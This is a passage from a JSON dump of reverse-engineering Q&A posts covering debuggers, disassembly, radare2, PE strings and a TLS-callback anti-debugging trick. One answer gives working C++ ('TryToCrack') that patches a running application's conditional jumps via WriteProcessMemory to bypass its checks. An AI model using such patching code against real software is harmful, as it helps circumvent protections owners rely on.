indirect <code>call</code> or you could obfuscate the address, load it into a register and then do whatever kind of bit-juggling and arithmetic and an indirect call, or you could have a vtable that would end up calling this particular chunk of code.</p></li>\n</ol>\n\n<p>A bigger chunk of disassembly might help in this case.</p>\n"
    },
    {
        "Id": "18765",
        "CreationDate": "2018-07-11T21:36:13.670",
        "Body": "<p>Im trying to debug a binary - and I wanted to know if someone can explain what does it mean when there's a value 'added' on to a function. </p>\n\n<p>eg: <code>CRYPTSP.CryptDuplicateHash+0C</code></p>\n\n<p>What does the '0C' mean in this case?\nThanks!</p>\n",
        "Title": "What does this mean in OllyDbg: function+hex value",
        "Tags": "|ollydbg|debugging|",
        "Answer": "<p>This indicates the offset within the function.</p>\n\n<p>If you wish to reference an instruction in an executable binary, the most basic and straight-forward method would be using it's full address. However especially with ASLR enabled, different versions, RVA vs file offsets and other nuances it may be more useful to reference an instruction relative to the function start address.</p>\n\n<p>In the case of <code>CRYPTSP.CryptDuplicateHash+0C</code>, we can easily see the address is at offset <code>0x0C</code> within the <code>CryptDuplicateHash</code> function inside a module called <code>CRYPTSP</code>.</p>\n"
    },
    {
        "Id": "18777",
        "CreationDate": "2018-07-12T18:46:13.663",
        "Body": "<p>I am trying to debug remotly an ELF from my windows 10 (the ELF runs on my ubuntu 32 bit vm) (the ELF is from pwnable.kr - unlink).\nBecause the exploit is via gets() I try to pass input through the \"debugger options\" in IDA:</p>\n\n<p><a href=\"https://i.stack.imgur.com/OTDYM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OTDYM.png\" alt=\"The process options\"></a></p>\n\n<p>(I also tried doing it without the \"parameters\").</p>\n\n<p>anyway this is the the exception I get when I get to \"gets\" function. </p>\n\n<p><a href=\"https://i.stack.imgur.com/ajxwT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ajxwT.png\" alt=\"The exception on IDA\"></a></p>\n\n<p>I tried to understand from the internet how people usually use remote debugging with IDA and use the process' stdin. </p>\n\n<p>BTW: this is how it runs: </p>\n\n<pre><code>shahar@ubuntu:~/Desktop$ ./linux_server unlink\nIDA Linux 32-bit remote debug server(ST) v1.15. Hex-Rays (c) 2004-2012\nListening on port #23946...\n=========================================================\n[1] Accepting connection from 192.168.188.1...\nhere is stack address leak: 0xbfdfdc04\nhere is heap address leak: 0x9085410\nnow that you have leaks, get shell!\n</code></pre>\n\n<p>Thanks a lot for your help! :-)</p>\n\n<p><strong><em>EDIT:</em></strong> </p>\n\n<p>This is where the error is raised:</p>\n\n<p><a href=\"https://i.stack.imgur.com/lNcNz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lNcNz.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "IDA - Remote debug on linux",
        "Tags": "|ida|debugging|elf|remote|",
        "Answer": "<p>What I usually do is to supply the STDIN data from a file. So, in the command line you used to run the Linux debugging server I would just add the redirection of the file with the inputs for the get, like this:</p>\n\n<p><code>$ ./linux_server unlink &lt; your_file\n</code></p>\n\n<p>For some reason, I never got to work the redirection in parameters with remote debuggers.</p>\n"
    },
    {
        "Id": "18792",
        "CreationDate": "2018-07-13T19:14:12.190",
        "Body": "<p>I'm just starting in learning some Reverse Engineering and there are a lot of DLLs being imported or called at runtime and I'd like to know what they do. I would have expected that there would be documentation pages for common DLLs, or at least all of Microsoft's DLLs, but mostly when I Google for information about DLLs there are a lot of <em>How to fix your missing VCRUNTIME140.dll</em> or such.</p>\n\n<p>Is there really no great way of getting information about DLLs asides from looking at them yourself or happening to find answers or references at various places online?</p>\n",
        "Title": "Is there a good place to search information about known DLLs?",
        "Tags": "|windows|dll|libraries|",
        "Answer": "<p>if they are Microsoft dlls you are interested to know about \nthen ms normally provides a concise description of its  dlls functionality in it FileVersion information      </p>\n\n<p>also other legitimate dlls do provide this information     </p>\n\n<p>(malware dlls or unknown authors dlls may not have it or may be faked up so it is just an indicator that can be trusted with a trusted base of dll not for arbitrary binaries )</p>\n\n<p>you can right click the dll in question and look at the Details Tab </p>\n\n<p><a href=\"https://i.stack.imgur.com/iPbxV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iPbxV.png\" alt=\"enter image description here\"></a></p>\n\n<p>or you can script it to dump a bunch of dlls as shown below</p>\n\n<p>contents of batch file</p>\n\n<pre><code>C:\\&gt;cat dlldesc.bat\n@echo off\nfor /f %%i in ('dir /s /b c:\\windows\\system32\\*.dll') do powershell -c \"(((get-command \"%%i).FileVersionInfo).FileDescri\nption)\"\n</code></pre>\n\n<p>result on execution </p>\n\n<pre><code>C:\\&gt;dlldesc.bat\nAnywhere access client\nacadficn\nEase of access  control panel\nMicrosoft Internet Account Manager Resources\nAccess Control List Editor\nSecurity Descriptor Editor\nCompatibility Tab Shell Extension Library\nAction Center\nAction Center Control Panel\nUnattend Action Queue Generator / Executor\nADs Router Layer DLL\nActiveX Interface Marshaling Library\nADAL.Native for x86\nIEAK Global Policy Template Parser\nAdministrative Templates Extension\nadprovider DLL\nADs LDAP Provider DLL\nADs LDAP Provider C DLL\nADs LDAP Provider DLL\nADs Windows NT Provider DLL\nSecurity Audit Schema DLL\nTerminate batch job (Y/N)? y\n\nC:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "18797",
        "CreationDate": "2018-07-14T15:49:01.923",
        "Body": "<p>i.e. on a page, I see that after i.e. 5 seconds of page load, there appears a message:</p>\n\n<pre><code>Hello Akubatula, you are wonderful.\n</code></pre>\n\n<p>Lets say, i want to find out, from where does the word <code>wonderful</code> comes from. It is not in source, I can't find it in  sources ( <code>Inspect&gt;Sources&gt;CTRL+SHIFT+S</code>)...</p>\n\n<p>How can i find from which script/event it is loaded?\nI know a bit about breakpoints, but i was unable to find that moment/script, which triggers that event. Is that possible to breakpoint or search by that string?</p>\n",
        "Title": "Find out where the string comes from (in Browser)",
        "Tags": "|debugging|websites|",
        "Answer": "<p>Sounds like it could be data coming from the server via an AJAX call, where they perhaps have a service that fetches a message (at random?) from within an array of messages like that. If it is, then assuming you're in Chrome:</p>\n\n<ol>\n<li>Click the <code>Network</code> tab.</li>\n<li>Click the <code>XHR</code> button. If you do not see it, then you'll need to click the <code>Filter</code> icon first.</li>\n<li>Make sure the <code>Record</code> icon is on (red).</li>\n<li>Refresh the page and then wait for that message to appear on the page. If it doesn't, then if you don't mind logging back in and everything, you may need to click the <code>Application</code> tab, then <code>Clear storage</code>, then the <code>Clear site data</code> button (which will effectively make it as though you're visiting the site for the very first time from your device/browser, though this won't do much if they remotely track that behavior).</li>\n<li>Just before, you should have seen new activity in your Network window.</li>\n<li>If so, click on the XHR names of interest, then in the right-hand pane (of which you may need to stretch DevTools out farther to see), look in the <code>Preview</code> and/or <code>Response</code> tabs and see if you see your text there, perhaps as a JSON key/value pair (i.e., <code>{\"msg\":\"Here is your message\"}</code>).</li>\n<li>If so, then you can click the <code>Headers</code> tab to get more information on the API call, then go about looking for information related to the data therein, residing in the client-side source files.</li>\n</ol>\n"
    },
    {
        "Id": "18800",
        "CreationDate": "2018-07-15T03:00:19.190",
        "Body": "<p>So my C program looks like:</p>\n\n<pre><code>int main()\n{\n    int a = 5;\n    int b = 1;\n    int c = add(a, b);\n    printf(\"%d\", c);\n    return 0;\n}\n\nint add(int a, int b){\n    return a + b;\n}\n</code></pre>\n\n<p>And I am trying to understand the behaviour of how parameters are passed into the stack. In order to do the same, I reversed the code to disassembly:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Qr3nT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Qr3nT.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/qQLrj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qQLrj.png\" alt=\"main_function\"></a></p>\n\n<p>Now <code>esp</code> is being copied into <code>ebp</code> in the <code>add</code> function, then why add <code>8</code> and <code>12</code> to access the values <code>5</code> and <code>1</code> in the next lines - shouldn't it be <code>[ebp]</code> and <code>[ebp + 4h]</code>? I am really confused here.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Addition Function Parameter Location in Assembly Stack Memory",
        "Tags": "|disassembly|",
        "Answer": "<p>On x86, the stack is used <em>not only</em> for passing the arguments. It can store other things as well, for example the return address of the function or the registers which need to be saved temporarily, as well as for local variables. In your example, the <code>push ebp</code> adjusts <code>esp</code> by 4 bytes, so after <code>esp</code> is copied to <code>ebp</code> in the next instruction, the stack frame looks like this:</p>\n\n<pre><code> [ebp+0] old ebp value (pushed by \"push ebp\")\n [ebp+4] return address from the call (originally at [esp+0])\n [ebp+8] first argument (a)\n [ebp+C] second argument (b)\n</code></pre>\n"
    },
    {
        "Id": "18814",
        "CreationDate": "2018-07-16T17:51:33.730",
        "Body": "<p>I have found two if statements in an application that I want to alter.  I've made the two changes and saved the patch file using x32dgb and the application boots up successfully, however; the change doesn't seem to be taking affect nor is it there when I debug the saved patch .exe file.</p>\n\n<p>In short, my patches don't seem to be saved into the new exe!</p>\n\n<p>With my breakpoints saved, I looked the two locations that I need to change, and on initial application load I noticed the addresses contain totally different instructions and not all memory addresses are shown in the left most column.</p>\n\n<p>Here is how x32dgb looked when I successfully loaded the application:</p>\n\n<p><a href=\"https://i.stack.imgur.com/HmfDe.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HmfDe.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>And when application loads:</p>\n\n<p><a href=\"https://i.stack.imgur.com/8nRIq.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8nRIq.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Any ideas why the patches are not working?  Do I need to take a different approach?</p>\n",
        "Title": "Trying to change JE to JNE in x32dbg for instructions that change",
        "Tags": "|patching|",
        "Answer": "<p>Good news!  I've built an application in C++ that forces the instruction change until the end of the splash screen.  The code is NOT great, but the application is very stubborn and I had to time the loop just right otherwise the application just closes.</p>\n\n<p>Here is the code in case it helps anyone else.</p>\n\n<pre><code>    #include \"stdafx.h\"\n    #include \"iostream\";\n    #include \"atlstr.h\";\n    #include &lt;windows.h&gt;\n    #include &lt;TlHelp32.h&gt;\n    #include &lt;stdio.h&gt;\n    #include &lt;psapi.h&gt;\n    using namespace std;\n\n    #pragma comment(lib, \"Psapi.lib\")\n\n    PROCESS_INFORMATION CreateVProcess();\n    void TryToCrack(PROCESS_INFORMATION processInfo);\n\n    //\n    // 85 c0 0f 84 9e 00 00 00\n    // 85 c0 0f 85 9e 00 00 00\n    // First offset 34EC7, do 34EC8\n    //\n    // second offset 34F03\n    // 74 2E\n    // EB 2E\n\n\n    int main()\n    {\n        cout &lt;&lt; \"Launching Application\" &lt;&lt; endl;\n        PROCESS_INFORMATION processInfo = CreateVProcess();\n        cout &lt;&lt; \"Trying to crack...\" &lt;&lt; endl;\n        TryToCrack(processInfo);\n        return 0;\n    }\n\n    PROCESS_INFORMATION CreateVProcess()\n    {\n        LPCTSTR path = L\"NameOfAppHere.exe\";\n\n        // additional information\n        STARTUPINFO si;\n        PROCESS_INFORMATION pi;\n\n        // set the size of the structures\n        ZeroMemory(&amp;si, sizeof(si));\n        si.cb = sizeof(si);\n        ZeroMemory(&amp;pi, sizeof(pi));\n\n        CreateProcess(\n            path,\n            NULL,        // Command line\n            NULL,           // Process handle not inheritable\n            NULL,           // Thread handle not inheritable\n            FALSE,          // Set handle inheritance to FALSE\n            0,              // No creation flags\n            NULL,           // Use parent's environment block\n            NULL,           // Use parent's starting directory \n            &amp;si,            // Pointer to STARTUPINFO structure\n            &amp;pi             // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)\n        );\n        return pi;\n    }\n\n    void TryToCrack(PROCESS_INFORMATION processInfo)\n    {\n        Sleep(500);\n\n        HANDLE targetProcess = OpenProcess(STANDARD_RIGHTS_WRITE, 0, processInfo.dwProcessId);\n        void* hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processInfo.dwProcessId);\n        MODULEENTRY32 mod32;\n        mod32.dwSize = sizeof(MODULEENTRY32);\n        Module32Next(hSnap, &amp;mod32);\n\n        DWORD modHandle = (DWORD)mod32.modBaseAddr;\n\n        unsigned char mem1 = 0x85;\n        unsigned char mem2 = 0x75;\n\n        for (int i = 0; i &lt; 100000; i++)\n        {\n            WriteProcessMemory(processInfo.hProcess, (LPVOID)(modHandle + 0x034EC8), &amp;mem1, 1, NULL);\n            WriteProcessMemory(processInfo.hProcess, (LPVOID)(modHandle + 0x034F02), &amp;mem2, 1, NULL);\n        }   \n    }\n</code></pre>\n"
    },
    {
        "Id": "18817",
        "CreationDate": "2018-07-16T21:30:24.647",
        "Body": "<p>I wrote simple program(was built in release mode(x86)) to practise re skills but I can not understand one part of it. </p>\n\n<p>C++ program:</p>\n\n<pre><code>int doSub(int a, int b) \n{\n    int result = a + b;\n    result -= 2;\n    return result;\n}\n\nint doSum(int a, int b)\n{\n    int result = a + b;\n    result += 2;\n    return result;\n}\n\nint main(int argc, char** argv)\n{      \n    int wynik = 0;\n    int liczbaA = atoi(argv[1]);\n    int liczbaB = atoi(argv[2]);\n\n    if (liczbaA &gt; 3)\n    {\n        wynik = doSum(liczbaA, liczbaB);\n    }\n    else\n    {\n        wynik = doSub(liczbaA, liczbaB);\n    }\n\n    std::cout &lt;&lt; \"Result\" &lt;&lt; wynik;\n    return 0;\n}\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/Lkorz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Lkorz.png\" alt=\"enter image description here\"></a></p>\n\n<p>And my question is: what is happening here?</p>\n\n<pre><code>lea     ecx, ds:0FFFFFFFEh[ecx*4] ; ??\n</code></pre>\n\n<p>I supposed to see here two instructions like sub/add. Can someone explain me how it's handled here operation +2 and -2?</p>\n\n<p>@edit</p>\n\n<pre><code>loc_401052:\nmov     edi, [ebp+argv]\npush    dword ptr [edi+4] ; Str\ncall    ds:__imp__atoi\nadd     esp, 4\nmov     ebx, eax\npush    dword ptr [edi+8] ; Str\ncall    ds:__imp__atoi\nxor     ecx, ecx\nadd     esp, 4\nadd     eax, ebx\nmov     edx, offset aResult ; \"Result\"\ncmp     ebx, 3\nsetnle  cl\nlea     ecx, ds:0FFFFFFFEh[ecx*4]\nadd     eax, ecx\npush    eax\npush    ecx\nmov     ecx, ds:__imp_?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A ; std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt; std::cout\ncall    std__operator___std__char_traits_char___\nadd     esp, 4\nmov     ecx, eax\ncall    ds:__imp_??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z ; std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;::operator&lt;&lt;(int)\npop     edi\nxor     eax, eax\npop     ebx\nmov     esp, ebp\npop     ebp\nretn\nmain endp\n</code></pre>\n",
        "Title": "Lea instruction on datasegment",
        "Tags": "|ida|disassembly|",
        "Answer": "<p><code>0FFFFFFFEh</code> is <code>-2</code> in decimal format</p>\n\n<p>ecx= is 1 if liczbaA is more than 3 and 0 otherwise</p>\n\n<p>instruction LEA (load effective address) can do special arithmetic operation: <code>a + b*X + Y</code> where <code>a</code> and <code>b</code> are registers, <code>Y</code> is constant and <code>X</code> is 1, 2, 4 or 8. </p>\n\n<p>In your case you calculate:\n<code>-2+4*ecx</code> or <code>-2+4*(liczbaA&gt;3)</code></p>\n\n<p>if liczbaA is more than 3 then result is 2 if less then it is -2</p>\n"
    },
    {
        "Id": "18819",
        "CreationDate": "2018-07-17T01:12:13.437",
        "Body": "<p>I have a linux binary that imports functions from an external library (shared object). The functions are <a href=\"https://en.wikipedia.org/wiki/Lazy_loading\" rel=\"nofollow noreferrer\">lazy loaded</a> and not available when rip is at <code>@main</code> or <code>@entry</code>. When i step into such a function (like <code>call sym.imp.&lt;function&gt;</code>) it goes into plt->got->linker->function. Doing this manually (step-into) is very time consuming and uncomfortable. None of the analysis functions (<code>aaa</code>) seem to register any functions (<code>afl ~ &lt;function&gt;</code>) of the lazy loaded library so there is no way to gather the function start address (until the linker fills the plt/got).</p>\n\n<p>The only way i figured out so far is to break at the <code>call</code>, look up the mapped memory (<code>dm</code>) of the (now loaded) library and adding the offset of the function (gathered by directly/statically loading the library beforehand). This finally leads to the target function start address. </p>\n\n<p>Even though this works i think its still too complicated for such a basic task and there might be a much easier way. I can remember that IDA/Windows allowed to prepare a static environment (load binary, libs, add comments, annotations and such) and once going into the debugger the initialization phase (linker) detected the prepared libs and asked to use/overload them in the dynamic session. There, you could easily set breakpoints on the functions and the debugger stopped successfully.</p>\n\n<p>The question is: How to get into lazy loaded imported functions without going over plt/got/linker in radare2? </p>\n\n<p>Edit:\nHere is a specific example:</p>\n\n<pre><code>r2 -d /usr/bin/rar\naaa\ndb sym.imp.__swprintf_chk\ndc\n</code></pre>\n\n<p>Then you end up in the <code>.plt</code> (twice) and then in <code>map.usr_lib_ld_2.27.so.r_x + 50055</code>.</p>\n",
        "Title": "Radare2 debugging - How to get into lazy imported functions?",
        "Tags": "|debugging|linux|radare2|dynamic-linking|",
        "Answer": "<p>The <code>sym.imp.*</code> symbols are pointing to the <code>plt</code> and this is intended. In order to locate a specific function of a loaded module/library, you need to use the <code>dmi</code> command and its subcommands.</p>\n\n<p>To follow your example, in the following steps I'll demonstrate how to reach the address of <code>__swprintf_chk</code>.</p>\n\n<p>First, open a binary in a debug mode. I'm using the <em>same</em> binary as you.</p>\n\n<pre><code>$ r2 -d /usr/bin/rar\n\nProcess with PID 8617 started...\n= attach 8617 8617\nbin.baddr 0x00400000\nUsing 0x400000\nasm.bits 64\n -- This computer has gone to sleep.\n[0x7f1f85401090]&gt;\n</code></pre>\n\n<p><code>__swprintf_chk</code> is part of <em>libc</em> so we need the library to be loaded in the memory first. By default, radare2 breaks before <code>libc</code> is loaded into the memory so let's quickly continue the execution until we reach the program's entrypoint using <code>dcu</code> (<strong>d</strong>ebug <strong>c</strong>ontinue <strong>u</strong>ntil):</p>\n\n<pre><code>[0x7f1f85401090]&gt; dcu entry0\nContinue until 0x00403000 using 1 bpsize\nhit breakpoint at: 403000\n</code></pre>\n\n<p>Now that we are at the program's entrypoint, we can simply execute the following command:</p>\n\n<pre><code>[0x00403000]&gt; dmi libc __swprintf_chk\n235 0x001335f0 0x7f1f845c35f0 GLOBAL   FUNC  162 __swprintf_chk\n</code></pre>\n\n<p>We received the address of <code>__swprintf_chk</code> which is <code>0x7f1f845c35f0</code>. We can use radare2's internal grep (<code>~</code>) to take only this value:</p>\n\n<pre><code>[0x00403000]&gt; dmi libc __swprintf_chk~[2]\n0x7f1f845c35f0\n</code></pre>\n\n<p>We can also print it as a radare2 commands using <code>dmi*</code>:</p>\n\n<pre><code>[0x00403000]&gt; dmi* libc __swprintf_chk\nf sym.__swprintf_chk 162 0x7f1f845c35f0\n</code></pre>\n\n<p>And if you want to execute the command, simply prepend it with a dot:</p>\n\n<pre><code>[0x00403000]&gt; .dmi* libc __swprintf_chk\n[0x00403000]&gt; f~sym.__swprintf_chk\n0x7f1f845c35f0 162 sym.__swprintf_chk\n</code></pre>\n\n<p>As you can see, the address was added as a flag named \"sym.__swprintf_chk\".</p>\n\n<p>For more help you can execute <code>dmi?</code> and <code>dm?</code> and read the help for these commands.<br>\nMore information can be found in the <a href=\"https://radare.gitbooks.io/radare2book/content/debugger/memory_maps.html\" rel=\"nofollow noreferrer\">\"Memory Maps\"</a> chapter I wrote for r2book.</p>\n"
    },
    {
        "Id": "18822",
        "CreationDate": "2018-07-17T11:43:29.690",
        "Body": "<p>I'm trying to understands how it works by decompiling my own Objective-C code. Here's the decompiled instruction:</p>\n\n<pre><code>var_8= -8\nvar_4= -4\n\nSUB             SP, SP, #8\nMOVS            R2, #1\nSTR             R0, [SP,#8+var_4]\nSTR             R1, [SP,#8+var_8]\nMOV             R0, R2\nADD             SP, SP, #8\nBX              LR\n</code></pre>\n\n<p>From my understanding (correct me if I'm wrong), by line:</p>\n\n<pre><code>SP=SP-8\nMove 1 to R2\nStore R0 into SP+8+var_4\nStore R1 into SP+8+var_8\nMove R2 into R0\nSP=SP+8\nNext Function\n</code></pre>\n\n<p>And the actual code:</p>\n\n<pre><code>%hook SomeClass\n- (int)somemethod {\nreturn 1;\n}\n%end\n</code></pre>\n\n<p>Now I don't understand why it needs <code>STR R0, [SP,#8+var_4]</code> and <code>STR R1, [SP,#8+var_8]</code> for, as I can't see it purposes. And if I were to <code>return 0</code>, a simple change to of <code>MOVS R2, #1</code> to <code>MOVS R2, #0</code> would do, wouldn't it? But that didn't works.</p>\n",
        "Title": "Could someone explain how this ARM instructions works compared to the actual Objective-C code?",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>Objective C methods are not called directly, but via a piece of trampoline code in the ObjC's runtime \"objc_msgSend\" function, which in turn calls a regular C function implementing the ObjC method.</p>\n\n<p>In addition to the method parameters, the C function is passed two additional parameters in the first two parameter slows, which are R0 and R1 on ARM (see <a href=\"https://stackoverflow.com/questions/14535527/use-of-self-keyword-in-objective-c\">this description</a>):</p>\n\n<ul>\n<li>R0: \"self\", a reference to the actual object that is executing the current method</li>\n</ul>\n\n<p>Inside an instance method, self refers to the receiver (object) of the message that invoked the method, while in a class method self will indicate which class is calling.</p>\n\n<ul>\n<li>R1: \"_cmd\"</li>\n</ul>\n\n<p>This points to the selector being sent, in your case this should point to a string \"somemethod\" (or a struct containing this string, not sure about the current ARM implementation).</p>\n"
    },
    {
        "Id": "18823",
        "CreationDate": "2018-07-17T12:05:38.030",
        "Body": "<p>I found the executable in question using <code>VirusTotal</code> &quot;hunting&quot; feature, where one can run <code>Yara</code> rules for the files existing in VT database and match the strings. I downloaded the file, opened it with <code>PEStudio</code> and it turned out to contain very many strings that were email addresses, one of which was the string I looked for in VT:\n<a href=\"https://i.stack.imgur.com/mgbDc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mgbDc.png\" alt=\"enter image description here\" /></a></p>\n<p>Please note, the number of extracted strings is pretty high.</p>\n<p>However, when I opened the executable in <code>IDA</code>, none of these email strings were found. The number of strings was much lower too. But, instead I found, for example, these strings:\n<a href=\"https://i.stack.imgur.com/ipq4G.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ipq4G.png\" alt=\"enter image description here\" /></a></p>\n<p>Does this possibly mean that the emails do not come from a pre-existing list but are generated by the executable?</p>\n<p>In addition, I noticed some text file names in the <code>PEStudio</code>'s string list, but they were also nowhere to be found in <code>IDA</code>'s list. Is there any difference between <code>IDA</code>'s and <code>PEStudio</code> (and similar tools') string extraction?</p>\n",
        "Title": "Why can I see certain strings when PE is opened with a hex editor or a simple static analysis tool but not with IDA?",
        "Tags": "|ida|strings|",
        "Answer": "<p>As confirmed in a comment, these strings appear in the Resources section of the executable. </p>\n\n<p>See this image (taken from the related <a href=\"https://reverseengineering.stackexchange.com/q/12043/2959\">IDA Pro can&#39;t view part of the file, which I can see exists WinHEX</a> and adjusted to highlight this option):</p>\n\n<p><a href=\"https://i.stack.imgur.com/xOy5k.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xOy5k.png\" alt=\"That is the option to click\"></a></p>\n\n<p>It is likely disabled by default because they are not important to the process of <em>disassembling</em>, and they might be quite large. So this is only (marginally) useful when you are <em>interpreting</em> parts of the disassembly that use resources.</p>\n\n<p>As Ida PRO does not parse common resource formats, it may not be able to show your strings in its \"Strings\" window, and always list them as raw data. So you may want to prefer to use an external resource viewer anyway.</p>\n"
    },
    {
        "Id": "18830",
        "CreationDate": "2018-07-17T21:25:15.367",
        "Body": "<p>I came across a document called <a href=\"http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf\" rel=\"nofollow noreferrer\">The Ultimate Anti-Reversing Reference</a>, which describes various Anti-Debugging techniques. in point <em>4.Thread Local Storage</em> There is a mention </p>\n\n<blockquote>\n  <p>Thread Local Storage callbacks are called whenever a thread is created\n  or destroyed (unless the process calls the kernel32\n  DisableThreadLibraryCalls() or the ntdll\n  LdrDisableThreadCalloutsForDll() functions). That includes the thread\n  that is created by Windows when a debugger attaches to a process. The\n  debugger thread is special, in that its entrypoint does not point\n  inside the image. Instead, it points inside kernel32.dll. Thus, a\n  simple debugger detection method is to use a Thread Local Storage\n  callback to query the start address of each thread that is created.\n  The check can be made using this 32-bit code to examine the 32-bit\n  Windows environment on either the 32-bit or 64-bit versions of\n  Windows:</p>\n</blockquote>\n\n<pre><code> push eax\n mov eax, esp\n push 0\n push 4\n push eax\n ;ThreadQuerySetWin32StartAddress\n push 9\n push -2 ;GetCurrentThread()\n call NtQueryInformationThread\n pop eax\n cmp eax, offset l1\n jnb being_debugged\n ...\n</code></pre>\n\n<p>I wrote the c++ code as below </p>\n\n<pre><code>bool fooBar()\n{\n    uintptr_t dwStartAddress;\n    TFNNtQueryInformationThread ntQueryInformationThread = (TFNNtQueryInformationThread)GetProcAddress(\n    GetModuleHandle(TEXT(\"ntdll.dll\")), \"NtQueryInformationThread\");\n\n    if (ntQueryInformationThread != 0) {\n\n        NTSTATUS status = ntQueryInformationThread(\n            (HANDLE)-2,\n            (_THREADINFOCLASS)9,\n            &amp;dwStartAddress,\n            sizeof(dwStartAddress),\n            nullptr);\n       cout &lt;&lt; hex &lt;&lt; \"dwStartAddress: 0x\" &lt;&lt; dwStartAddress &lt;&lt; dec &lt;&lt; endl;\n    }\n</code></pre>\n\n<p>and I'm running this inside the TLS callbacks</p>\n\n<pre><code>EXTERN_C\n#ifdef _M_X64\n#pragma const_seg (\".CRT$XLB\")\nconst\n#else\n#pragma data_seg (\".CRT$XLB\")\n#endif\nPIMAGE_TLS_CALLBACK p_thread_callback = fooBar;\n#pragma data_seg ()\n#pragma const_seg ()\n</code></pre>\n\n<p>The value of dwStartAddress points to the .exe module, not to kernel32.dll as stated in the text. Regardless if I just run the exe or run in debugger or attach a debugger to the process (tho I'm not very experienced with attaching so maybe I'm doing something wrong here). </p>\n\n<p>Am I doing something wrong, or the text is wrong / no longer valid?</p>\n",
        "Title": "Thread EntryPoint in TLS callback as AntiDebug technique",
        "Tags": "|anti-debugging|thread|entry-point|",
        "Answer": "<p>When a debugger wants to attach to a process it will do the following things (see the <a href=\"https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/dll/win32/kernel32/client/debugger.c#L480\" rel=\"noreferrer\">DebugActiveProcess implementation on ReactOS</a>):</p>\n\n<ol>\n<li>Connect to the debuggee with <code>DbgUiConnectToDbg</code></li>\n<li>Tell the kernel to start debugging the process with <code>NtDebugActiveProcess</code></li>\n<li>Issue a <code>DbgBreakPoint</code> in the attached-to process with <code>DbgUiIssueRemoteBreakin</code></li>\n</ol>\n\n<p>The <code>DbgUiIssueRemoteBreakin</code> function creates a thread in the debuggee pointed at <code>DbgUiRemoteBreakin</code>, which in turn calls <code>DbgBreakPoint</code>.</p>\n\n<p>This anti-debug trick no longer works from Windows 7 and onwards because the <code>DbgUiIssueRemoteBreakin</code> creates the <code>DbgUiRemoteBreakin</code> thread with the <code>SkipThreadAttach</code> flag (<a href=\"http://waleedassar.blogspot.com/2012/12/skipthreadattach.html\" rel=\"noreferrer\">relevant blogpost</a>). This causes the newly-created thread to not call <code>DllMain</code> or TLS callbacks with the <code>DLL_THREAD_ATTACH</code> or <code>DLL_THREAD_DETACH</code> reason.</p>\n"
    },
    {
        "Id": "18839",
        "CreationDate": "2018-07-18T16:43:18.800",
        "Body": "<p>I try to modify the branch of this disassembly in a binary:</p>\n\n<pre><code>SUB             SP, SP, #0x60\nSTP             X26, X25, [SP,#0x50+var_40]\nSTP             X24, X23, [SP,#0x50+var_30]\nSTP             X22, X21, [SP,#0x50+var_20]\nSTP             X20, X19, [SP,#0x50+var_10]\nSTP             X29, X30, [SP,#0x50+var_s0]\nADD             X29, SP, #0x50\nMOV             X20, X0\nMOV             X0, X2\nBL              _objc_retain\nMOV             X19, X0\nADRP            X8, #selRef_shouldCheckForUpdate@PAGE\nLDR             X1, [X8,#selRef_shouldCheckForUpdate@PAGEOFF] ; char *\nMOV             X0, X20 ; void *\nBL              _objc_msgSend\nCBZ             W0, loc_ADCC\n</code></pre>\n\n<p>Basically, the binary are checking for update and will prompt if it should, and for the sake of learning, I wanted to achieve on how to:</p>\n\n<ol>\n<li><p>Always go to loc_ADCC and;</p></li>\n<li><p>Always ignore loc_ADCC (Skip from going to loc_ADCC)</p></li>\n</ol>\n\n<p>This ARM64 really got me confused, I could however understand it in 32bit, but not in 64bit. It's like a new world. You could see the screenshot <a href=\"https://i.stack.imgur.com/jmibr.jpg\" rel=\"nofollow noreferrer\">here</a> for a better visualization.</p>\n\n<p>Thanks in advance!</p>\n",
        "Title": "How to Modify this Branch in ARM64?",
        "Tags": "|disassembly|arm|",
